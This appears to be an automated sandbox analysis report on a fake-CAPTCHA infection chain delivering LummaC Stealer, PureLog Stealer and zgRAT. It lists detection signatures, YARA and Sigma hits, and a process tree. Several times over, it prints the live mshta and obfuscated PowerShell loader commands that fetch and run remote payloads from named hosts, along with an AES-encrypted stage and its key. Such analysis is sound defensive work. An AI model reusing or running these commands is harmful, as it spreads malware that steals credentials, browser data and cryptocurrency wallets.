Edit tour

Windows Analysis Report

Overview

General Information

Analysis ID:	1579343
Infos:

Detection

LummaC Stealer, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Bypasses PowerShell execution policy

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

Abnormal high CPU Usage

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7300 cmdline: cmd /C ""C:\WINDOWS\system32\mshta.exe" https://solve.fizq.net/awjxs.captcha" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7356 cmdline: "C:\WINDOWS\system32\mshta.exe" https://solve.fizq.net/awjxs.captcha MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 7572 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F666BDFA8158678EDB2A26053A13025B2AE8B26218E13D71017DA8A8FE9CCBCC76E3BA3B6A95D1ED2A4A44A168E8636A1C900DADF3286F3ED2FDAD098EE58C7B6AFCCBC68203649484FF462A21AD9EE06F0B2A24495E62A40046DF6C39B77D47A014F0F0940CF765920FB7FA754DFE80F9D4138A2328D4A2F3909905D737350CA18D46A3F34F72969F4026F528EE194317064AC8ABF90F0C562A82D0FB23D49696F85E3A60A4C23E6FC2E69C0C21061968D1E083A7DC8FB925B87086B50A6B6A111CCAA936B945BCCF1B61BA45851312BC53A436D6FD6E88D4E39E965D4CBE982D9E2C56EB4D9900');$wBTv=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((ERrXH('6B635876677359704D536E5770724B42')),[byte[]]::new(16)).TransformFinalBlock($ZMcko,0,$ZMcko.Length)); & $wBTv.Substring(0,3) $wBTv.Substring(129) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7692 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7704 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.2813404644.000000000D3E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.2722035542.0000000007890000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: powershell.exe PID: 7572	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1cff4:$b1: ::WriteAllBytes( 0x1d8d5:$b1: ::WriteAllBytes( 0x83716:$b1: ::WriteAllBytes( 0x84587:$b1: ::WriteAllBytes( 0x1d0a8:$s1: -join 0x1d989:$s1: -join 0x33be3:$s1: -join 0x3c18f:$s1: -join 0x3cfb0:$s1: -join 0x5c3cf:$s1: -join 0x5d1f0:$s1: -join 0x6233c:$s1: -join 0x63905:$s1: -join 0x7daf3:$s1: -join 0x7e7a9:$s1: -join 0x837ca:$s1: -join 0x8463b:$s1: -join 0x85581:$s1: -join 0x863a2:$s1: -join 0x89134:$s1: -join 0x89f64:$s1: -join
Process Memory Space: powershell.exe PID: 7692	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x59c090:$b2: ::FromBase64String( 0xb3b47d:$b2: ::FromBase64String( 0x59bca4:$s1: -join 0xb1e8aa:$s1: -join 0xb3b091:$s1: -join 0xb62bb7:$s1: -join 0xb6fc8c:$s1: -join 0xb7305e:$s1: -join 0xb73710:$s1: -join 0xb75201:$s1: -join 0xb77407:$s1: -join 0xb77c2e:$s1: -join 0xb7849e:$s1: -join 0xb78bd9:$s1: -join 0xb78c0b:$s1: -join 0xb78c53:$s1: -join 0xb78c72:$s1: -join 0xb794c2:$s1: -join 0xb7963e:$s1: -join 0xb796b6:$s1: -join 0xb79749:$s1: -join

Unpacked PEs

Source	Rule	Description	Author
6.2.powershell.exe.7890000.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.powershell.exe.d461e90.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
6.2.powershell.exe.d461e90.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.powershell.exe.d461e90.2.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
6.2.powershell.exe.d461e90.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F666BDFA8158678EDB2A26053A13025B2AE8B26218E13D

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F666BDFA8158678EDB2A26053A13025B2AE8B26218E13D

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F